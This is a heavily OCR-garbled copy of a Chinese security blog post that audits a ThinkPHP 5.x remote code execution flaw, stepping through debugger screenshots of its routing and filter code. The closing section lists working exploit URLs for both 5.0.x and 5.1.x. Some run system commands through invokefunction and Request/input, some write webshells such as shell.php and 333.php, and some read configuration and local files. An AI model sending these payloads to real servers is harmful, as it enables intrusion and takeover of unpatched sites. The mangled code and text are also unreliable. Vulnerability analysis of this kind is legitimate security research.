g 5 10 App.php:402, think|App-=run() Coeeen ,arra:_Ff] I
;I ) rﬂinde'x.php:EI, - 61 auto_search = false
* % 81 code = null
=] @1 convert = null
2 — o1 $must = false
g » 81 $path = "index/\think\Request/input”
ffl > = $this = {think\App} [20]
ul » = $_COOKIE = {array} [2]
Terminal | # 5 Debug i 6 TODO ) Event Log
I 1DE and Plugin Updates: PhpStorm is ready to update. (28 minutes ago) 604:1 LF UTF-8 4spaces m &

SRR ini

public f
{

https://www.chabug.org/audit/1078.html

t()

unction init()

/7 FERTERIARIURLEL
$result = $this->parseUrl($this->dispatch);
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return (new Module($this->request, $this->rule, $result))->init();

}
H A\parselrl ()

protected function parseUrl($url)

{
$depr = $this->rule->getConfig( name: 'pathinfo_depr');
$bind = $this->rule->getRouter()->getBind();
if (lempty($bind) && preg match( pattern: '/"*[a-z]/is', $bind)) {
$bind = str _replace( search: '/', $depr, $bind);
VORI T=p 0 FE it e
$url = $bind . ('." != substr($bind, start: -1) ? $depr : '') .
$depr);
}
list($path, $var) = $this->rule->parseUrlPath($url);
1T (empty($pathn)) {
return [null, null, null];
}
H N\parseUrlPath ()

https://www.chabug.org/audit/1078.html

40/51


https://www.chabug.org/
https://www.chabug.org/wp-content/uploads/2019/11/20191127223006.jpg

Thinkphp5 RCE %145 | ChaBug% 4

2019/12/6
E File Edit View Mavigate Code Refactor Run Tools VCS Window Help thinkphp5.1.30 [EN\code\php\thinkphp\thinkphp5.1.30] - .. \thinkphp\library\think\route\Rule.php - PhpStorm = b4
thinkphp5.1.30 thinkphp library think route ' (€l Rule.php #s PHPSTORM ~ -3 Am B Q
b Praject @ = & — | appphp € App.php @ Url.php € Rule.php € Loader.php €| Dispatch.php € Module.php € Container.php © Route.php € Request.php =
g thinkphp5.1.30 =\ code\hpithi 950 g
=l r— 0 =
- "P";"""“ if (false ($url, needle: ceosoee 8
config L o ] e
extend v i ?Ju 3
public $info = parse_url($url);
route - . . \ Loy
runtime $path = explode( delimiter: '/, $infol*path'1); $path: {"index”, "\think\Requ=
thinkphp parse_str($infol "query'], &arr: $var);
vendor
2 gitignore } elseif (strpos($url, needle: '/')) {
i travisyml Yo ,':r dIAS 17 / JT
e build. php ° $ h - I d ( d | X T /I $ _L
2 CHANGELOG.md 2 | path = gxplode( delimiter: , $ur )l
{composerjson 1== strpos($url, needle: '=')) {
7 composer.lock o e
= LICENSE.ixt d : (2 L e
i README.md 964, $path = [[1)3
g think ) .
Illi External Libraries parse—Str( $UI’1’ &arr: $Va]f'), =
0 Scratches and Consoles 066 } else {
0R7 ¢nath = [€urll- €iurl « "indav/\think\Ronact /innut"
\think\route * Rule * parseUrlPath{}
Debug:  fig PHPSTORM o —
(s | Debugger Ell Console Output = |~ 2ty H @ E S =
Frames Variables
g I»
£ 4 |+ ¥ i= $path = {array} [3]
2 -
;I Rule.php:970, think|route|Rule->parselrlPe 0= ndlex
+* IE1 Url.php:48, think|route|dispatch|Url->parse = _\thmk\REque“
° ® 0] Url.php:23, think|route|dispatch|Url-=init] _E3S _mPUt - -
E % IE App.phpi02, think|App-=run() - ‘m zurl i Ilnde‘)ff\{:hlnk\llequest,"lnput
-;— Bl index.php:21, fmaini? = : vér - -,arlra,_- 01 .
ol & oo $this = {think\routs\Domain} [14]
a2 i= $ COOKIE = {array} [2]
»
1 F LY e PR R L. ]
Terminal | # 5 Debug i 6 TODO ) Event Log
& 1DE and Plugin Updates: PhpStorm is ready to update. (31 minutes ago) 961:22 LF UTF-8 4spaces m &

TEUESE Murlsp3RER [ FR b /320 2% /#eE ], S parseUrl()iR[EIAYroute /3

https://www.chabug.org/audit/1078.html 41/51


https://www.chabug.org/
https://www.chabug.org/wp-content/uploads/2019/11/20191127227841.jpg

2019/12/6

Thinkphp5 RCE %145 | ChaBug% 4

E Ele Edit View Navigate Code Refactor Run Tools VCS Window Help thinkphp5.1.30 [EN\code\php\thinkphp\thinkphp5.1.30] - .. \thinkphp\library\think\route\dispatch\Url.php - PhpStorm — *
thinkphp5.1.30 thinkphp library think route dispatch + € Url.php #s PHPSTORM ~ =3 Am B Q
g Praject @ = & — | appphp € App.php € Url.php € Rule.php € Loader.php €| Dispatch.php € Module.php € Container.php © Route.php € Request.php =
g thinkphp5.1.30 £\ 86 g
5 — ., =
= > application 87 Y- : %
config T . o : .
extend $route = [$module, $controller, $action]; $controller: "\think
public )
route - . . . q . '
runtime 99 if ($this->hasDefinedRoute($route, $bind)) { $hind: null
thinkphp 91 throw new HttpException( statusCode: 404, message: "invalid request:' .
vendor . - . . (Y b= g P
1 gitignore str_replace( search: '|', $depr, $url)); $depr: "/" $url: "index[\think\Request/i
e -travisyml g2 } ol
s bUild.php o
i CHANGELOG.md 49
1) compaoser,json 94
7 composer.lock _
£ LICENSEtxt
2 README.md 06
g think -
Il External Libraries o
0 Scratches and Consoles
als} * Alarrace nrntortoed
\think\route\dispatch » Ud # parseUrl()
Debug:  flg PHPSTORM o —
(s | Debugger Ell Console Output = |~ 2ty H @ E S =
Fi Variabl
& I’ rames 'anables
% := $path = {array} [0]
E ) := $route = (array} [3]
Al — — . -
+* IE1 Url.php:23, think|route|dispatch| Uri->init) 0= Iln:.ex .
i @ I App.php:d02, think\App-=run( 811 = ..\t ml:\Request
E % IQindex.php:21, fmainj() m2- _I“Pu': - .
i =] 8 $url = "index|\think\Request|input”
,ﬁl l:v s 1= $var = {array} [0]
£ $this = {think\route\dispatch\Url} [4]
7 = & AAAWIE — feenid 7
Q Event Log

Terminal | # 5 Debug i 6 TODO

8chars 37:32 LF UTF8 4spaces W o

I 1DE and Plugin Updates: PhpStorm is ready to update. (34 minutes ago)

EZthinkphp/library/think/App. php:406H9$dispatch/g
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E File Edit View Mavigate Code Refactor Run Tools VCS Window Help thinkphp5.1.30 [E)\code\php\thinkphp\think php5.1.30] - .. \thinkphp\library\think\App.php - PhpStorm = b4
thinkphp5.1.30 thinkphp library think « @ App.php #s PHPSTORM ~ -3 ilm BOQ
g Project + (%] ae app-php € App.php © Url.php €l Rule.php € Loader.php €| Dispatch.php € Module.php € Container.php © Route.php € Request.php =
g thinkphps.1.30 £ 397 g
- icatis . . B o ; 17 ] I r ; Lals
- "P";"‘“”“ $dispatch = $this->dispatch; dispatch: null $dispatch: {con€r&12r0=€ ©\thi|:
config
extend EEE
public 400 if (empty($d15pat6h)) ‘[
route o )
' o) "
runtime 401 Y :
”‘i":P“P 402 & $dispatch = $this->routeCheck()->init();
vendor
 -gitignore 403 }
e -travisyml L@4
ue build.php - 5 o .
22 CHANGELOG.md 49o = =
{ycomposerjson 406 = request—>|dispatch($dispatch); $dispatch: {controller => "\think\
7 composer.lock -
& LICENSEt e
2, README md 408 '/ TR A :
S o N
. . LY (= eL i
Il External Libraries
 Seratches and Consoles 410 $this->log( msg: '[ ROUTE ] ' . var_export($this->request->routeInfo(),
ratiirns ey -
\think * App * run()
Debug:  fig PHPSTORM o —
(s | Debugger Ell Console Output = |~ 2ty H @ E S =
Frames Variables
B »
5 4 |+ bdispatch = {think\routeldispatch\Module} [6]
= e =
R pp.pho:409, thinklApp->run : m','"":e' - _\f?'"k\tffq"e“
* D index.php:21, fmainj) Lo actionMame = 7input’ |
@ = dispatch = {array} [3]
g % i= param = [array} [0]
5 =] 8 code = null
3 =
EI - s 81 convert = null
-+ $this = {think\App) [201
»
S AR et
Terminal | # 5 Debug i 6 TODO ) Event Log
1D thinkphp/library/think/App.php:406 has been copied 406:29 LF UTF-8 4spaces W &
| )

BERERT input O RZL, RESHNITEI App 3209 run 757%, HMVAR Dispatch &Y run 737K, XA A= ERXHEE
#0 exec thinkphp/library/think/route/dispatch/Module. php:84, HMiERARETZE
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thinkphp5.1.30 ' 1 thinkphp

thinkphp5.1.30 &

application

W 1: Project |
v

config
extend
public
route
runtime
thinkphp
vendor
 -gitignore
e -travisyml
ue build.php
& CHANGELOG.md
1) compaoser,json
7 composer.lock
= LICENSE.ixt
22 README.md
sup think
Il External Libraries

0 Scratches and Consales

#* 2 Favorites

1 Structure

Terminal ~ # 5: Debug

library

i= § TODO

think

Praject @ = & — | @ appphp

Thinkphp5 RCE %145 | ChaBug% 4

E Ele Edit View Navigate Code Refactor Run Tools VCS Window Help thinkphp5.1.30 [EN\code\php\thinkphp\thinkphp5.1.30] - .. \thinkphp\library\think\route\dispatch\Module.php - PhpStorm — *

route dispatch = (€ Module.php #rr PHPSTORM ~ E= £l B Q

€ Response.php € Error.php € Request.php © Middleware.php €l Rule.php © Loader.php €| Dispatch.php € Module.php € Containe
$vars = $this->rule->getConfig( name: "url_param_type')

? $this->request->route()
: $this->request->param();
$vars = array_merge($vars, $this->param);
} elseif (is_callable([$instance, '_empty'])) {

aseqeied i)

ol

$call = [$instance, '_empty'];

$vars = [$this->actionName];

$reflect = new ReflectionMethod($instance, name: '_empty');
} else {

7 i

throw new HttpException( statusCode: 404, message: 'method not exists:' .
get_class($instance) . '->" . $action . "()');

}

$this->app[ "hook']->listen('action_begin', $call);

$data = $this->app->invokeReflectMethod($instance, $reflect, $vars);

return $this->autoResponse($data);

ik

return $this->appl'middleware']->dispatch($this->request, ‘controller');

‘\think\route\dispatch » Module  exec()
QEvenl Log

I8 thinkphp/library/think/route/dispatch/Module.php:84 has been copied
| )

84:27 LF UTF-8 4spaces ‘m o

ILERS S 532RRIS 8 mIE, A input O
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thinkphp5.1.30 ' 1 thinkphp

Praject @ = & — | @ appphp € Response.php
D thinkphp5.1.30 E:\c 128 } else {
application /;/:

W 1: Project |

config
extend

route
}

runtime

thinkphp

VoW W VW W v

vendor
 -gitignore
e -travisyml
e build. php
& CHANGELOG.md

1) compaoser,json

$data =

7 composer.lock
= LICENSE.ixt
22 README.md
g think

>l External Libraries

g Scratches and Consoles

Debug:  fls PHPSTORM

Meodule.php:135, think|route|dispatch|Module-=thi
01 Middleware.php:185, call user func array:{E:|\code|php|think
61 Middleware.php:185, think|Middlewsre-=think|{closure}(] ’
N - —
51 Middleware.php:130, think|Middlewsre->dispatch() C

w = filker = {array} [1]

)

* 2: Favorites
L

E Ele Edit View Navigate Code Refactor Run Tools VCS Window Help

throw new HttpException( statusCode: 404,
public s($instance) . "->" . $action . '()'); facti

Thinkphp5 RCE %145 | ChaBug% 4

library think route dispatch = (€ Module.php

€ Error.php € Request.php © Middleware.php €l Rule.php

A

$this->app->in

137 return $this->autoResponse($data);

‘\think\route\dispatch » Module  exec() » AQ

(% | Debugger ElConsole Output E 4t ot w B e ER
» Frames Variables
b+ v $reflect = {ReflectionMethod} [2]

81 name = "input”
@i class = "think\Request"
think\Request} [37]

$request

@ 0 = "system"”
81 data = "whoami”

g 0 Module.php:140, think|route|dispatch| Module- > exec(] oo

g » IE] Dispatch.php:168, think|route|Dispatch-run()

EI I App.php432, think|App-=thinkl{closure)) !
o IE1 Middleware.php:185, call user func array:{E:\code\php\think N

[ I [T R IR NI S ) ST S NN S Y. |

Terminal | # 5 Debug i 6 TODO

$this = {think\route\dispatch\Module} [6]
= § COOKIE = {array} [2]

© Loader.php

133 $this->app[ "hook']->listen('action_begin', $call); Jca

—

thinkphp5.1.30 [EN\code\php\thinkphp\thinkphp5.1.30] - .. \thinkphp\library\think\route\dispatch\Module.php - PhpStorm

Fis PHPSTORM ~ -3

€| Dispatch.php

{think\R

equest,

€ Module.php

cenoee
message: 'method not exists:' .

Wit
input

ws

g "L
nput"}{2]

= X
il m B Q
€ Containe =
o
5
by
o
£
@
@

Q Event Log

I 1DE and Plugin Updates: PhpStorm is ready to update. (49 minutes ago)

EHENinput O ZEdEaHANSthis—>filterValue ()
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thinkphp5.1.30 thinkphp
Project + (%)
thinkphp5.1.30 £\ c

application

W 1: Project |
v

config
extend
public
route
runtime
thinkphp
vendor
 -gitignore
e -travisyml
ue build.php
s CHANGELOG.md
1) compaoser,json
7 composer.lock
= LICENSE.ixt
22 README.md
sup think
Il External Libraries
g Scratches and Consoles

Debug: g PHPSTORM
(5 | Debugger El Console

» Frames

#* 2 Favorites

1 Structure

[ N ST S

Terminal |~ #% 5: Debug

E Ele Edit View Navigate Code Refactor Run Tools VCS Window Help

Thinkphp5 RCE %145 | ChaBug% 4

thinkphp5.1.30 [EN\code\php\thinkphp\thinkphp5.1.30] - .. \thinkphp\library\think\Request.php - PhpStorm = *

library think € Request.php #s PHPSTORM ~ & Am B Q

® App.php X @ Responsephp X @ Errorphp X @ Requestphp % @ Middleware.php % () Rule.php X @ Loader.php % () Dispatchphp %X @ Module.php X @ Containe =

{13 if (is_array($data)) { E

13 array walk_recursive( &input: $data, [$this, 'filtervalue'], $filter); £

137 if (version_compare( version1: PHP_VERSION, version2: '7.1.0', operator: '<")) {

1 /S B EPHPE A 7.1 array walk_recursi 713

13 $this->arrayReset( & $data);

1 }

i } else {

13 -- $this->filterValue $data, $name, $filter

1377 }

13

13 if (isset($type) &5 $data !== $default) {

1 A

\think * Request

[0 Container.php:395, ReflectionMethod-=invokedrgs()
@ IE] Container.php:395, thimk| Container- = invokeReflectMethad(]
% B Module.php:135, think|route|dispatch| Module- > think|route
IE1 Middleware.php:185, call user func array:{E:\code|php\think
~ IO Middleware.php:185, think|Middlewsre- = think|{closure}) 9
# O Middleware.php:130, call user_func(F:|code|php|thinkphplt
IE1 Middleware.php:130, think|Middleware-=dispatch()
51 Module.php:140, think|route|dispatch| Module- = exec()

PR TP S

6 TODO

tthic_~tunnfactl 2o €data  EHunads

» input()

Qutput E a4t ity H@IEES
Variables
+ + 81 $data = "whoami”

o1 $default = null
:= $filker = {array) [2]
@l 0 = "system"
e 1= null
o1 $name = "
$this = {think\Request} [37]
i= § COOKIE = {array} [2]
:=§ GET = {array} [2]
:= § REQUEST = (array) [3]
i= § SERVER = {array} [42]

Q Event Log

I 1DE and Plugin Updates: PhpStorm is ready to update. (53 minutes ago)

IRt e Tcall user func(), SCHrce
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g Scratches and Consoles \think » Request » filterValue()

Debug: g PHPSTORM
Debugger Console  OQutput = |4+ o+ 1 N i= =
: b > | I - TR K S - B e

» Frames Variables

+ + o1 $default = null
81 $filter = "system™
= $filters = {array} [1]

e}

Request.php:1455, think|Request->filterValue()
[0l Request.php:1376, think|Request-=input(]
Il Container.php:395, ReflectionMethod-=invokedrgs()
IE1 Container.php:395, think|Container-=imvokeReflectMethod()
51 Module.php:135, thinklroute|dispatch| Module- > think\route

8 $key =
8 $value = "whoami”
$this = {think\Request} [37]

)

* 2: Favorites
L

= e IT1 Middleware.php:185, calfl user func array:{E:\code|php|think 90 ? $_COOK".E ) -]a.rray'- @
S # EMiddleware.php:18S, think| Middleware-> think|fclosure}() $GET = tarrayt 21

a IE1 Middleware.php:130, call user funcE:|code|phpthinkphp|t 35 S REQUEST = {array [3]
=1 := $_SERVER = {array} [42]

51 Middleware.php:130, think|Midaleware-=dispatch()
| N O PR I Y. WY P P N W J A ———l

Terminal |~ #% 5: Debug 6 TODO

3= $GLOBALS = {array} [10]

E File Edit View Mavigate Code Refactor Run Tools VCS Window Help thinkphp5.1.30 [EN\code\php\thinkphp\thinkphp5.1.30] - .. \thinkphp\library\think\Request.php - PhpStorm = b4
thinkphp5.1.30 thinkphp library think ' € Request.php #s PHPSTORM ~ -3 Am B Q
b Praject @ = & — | @ appphp € Response.php € Error.php € Request.php € Middleware.php €l Rule.php © Loader.php €| Dispatch.php € Module.php € Containe =
= . = e E— o
= thinkphp5.1.30 £\ code thi _ . =
E g 1446 * @return mixed £
= application ) H
config 1447 */ ®
wtend - . . . . 7 "o S I wn £57
:u;';c 1448 private function filtervalue(&$value, $key, $filters) $value: "whoami” $key: $Filt
route 1449 {
;:,”1’”: 1450 $default = array pop( &array: $filters); Jdefault: null
inkphp
vendor 1451
Q'tg'“?’”"'el 1452 foreach ($filters as $filter) { $filters: {"system"}[1] $filter: "system"
i travisym
2 build.php 1453 if (15 calIabIe(S&ﬁlter)) {
s CHANGELOG.md 1454 i
1) compaoser,json ) ” .
4 composerlock 1455 I-- $\.-'a1ue = caI1_user_funct,$ﬁlter, $value);
= L'CENSE"’“d 1456 } elseif (is_scalar($value)) {
i3 README.m, ) ’
o think 1457 if (false !== strpos($filter, needle: '/')) {
Il External Libraries 14,60 VAV B 1 B

Q Event Log

I 1DE and Plugin Updates: PhpStorm is ready to update. (53 minutes ago)

NIERIREMERRITEIARES, SEILIERESESIES, Lirce,

4=

// FREEE AR 4
$controller = strip tags($result[1] ?: $configl default controller’ ]);
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if ('preg match(C /" [A-Za—z] (w|.)*$/", $controller)) {

throw new HttpException (404, ’controller not exists: . $controller);

KF5.0.23, KF5.1.305KENAT{5 FALE N FCHELARIS

5.0.x

?s=index/thinkapp/invokefunction&function=call user func array&vars[0]=system&vars[1][]=id

5.1.x

?s=index/thinkRequest/input&filter[]=system&data=pwd
?s=index/thinkContainer/invokefunction&function=call user func array&vars[0]=system&vars[1][]=id

?s=index/thinkapp/invokefunction&function=call user func array&vars[0]=system&vars[1][]=id

Bshell

5.0.x
?s=/index/thinkapp/invokefunction&function=call user func array&vars[0]=assert&vars[1][]=copy (%27iLFE

%27, %27333. php%27)

5.1.x
?s=index/thinktemplatedriverfile/write&cacheFile=shell. php&content=<?php phpinfo () ;?>
?s=index/thinkviewdriverThink/display&template=<?php phpinfo () ;?> //shel £ fEruntime/ tem
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p/mdb (template). php
?s=/index/thinkapp/invokefunction&function=call user func array&vars[0]=assert&vars[1][]=copy (%27iLFE

H41%27, %27333. php%27)
Ht

5.0.x

?s=index/thinkconfig/get&name=database. username # FRHUACL B S B
?s=index/thinkLang/load&file=.. /.. /test. jpg R R = o
?s=index/thinkConfig/load&file=../../t.php # S TR, php

SNRAFREE] T E=HIREAFERER, 2R fEtpIREUEHIaRAS, thinkphp/library/think/App. php:561=5Burli& g/
5, SEuzhlasinseRm.
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/) RIS
$actionName = strip tags( str: $result[2] ?:
$config[ 'default_action']);
if (tempty($config['action_convert'])) {
$actionName = Loader::parseName($actionName, type: 1);
} else {

$actionName = $convert ?|strtolower($actionName) |: $actionName;

}
Sh *;]'
try {
$instance = Loader::controller(
$controller,
$config['url_controller_layer'],
$config[ 'controller_suffix'],
$config[ "empty_controller']
)i
} catch (ClassNotFoundException $e) {
throw new HttpException( statusCode: 404, message: 'controller not
:ﬁ:’l‘q::; f"mAlllip—*;:rp’r(‘W assl()):
B4

HsLthinkphpiIrce EARZEWIZR T, BRIIHLEZTE e (b AEBEE, LHINHEAEAEERE, HEEM
REFFI. EBKE, BENIR, XeXEHRIXEE.

&%
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e https://xz.aliyun.com/t/6106

e https://www.cnblogs.com/iamstudy/articles/thinkphp_5_x_rce_1.html
e https://github.com/Mochazz/ThinkPHP-Vuln

e https://xz.aliyun.com/search?keyword=thinkphp

e https://github.com/Lucifer1993/TPscan

e https://www.kancloud.cn/manual/thinkphp5_1/353946

e https://www.kancloud.cn/manual/thinkphp5

https://github.com/top-think/thinkphp

XELR, EREZ, AEXE, BEER. ARZARBXIHE(ESMMUIE, BHAR.

[REINE, FE: Yder, REFINEEILRER,! WNERH, BEKRIEE: Yder
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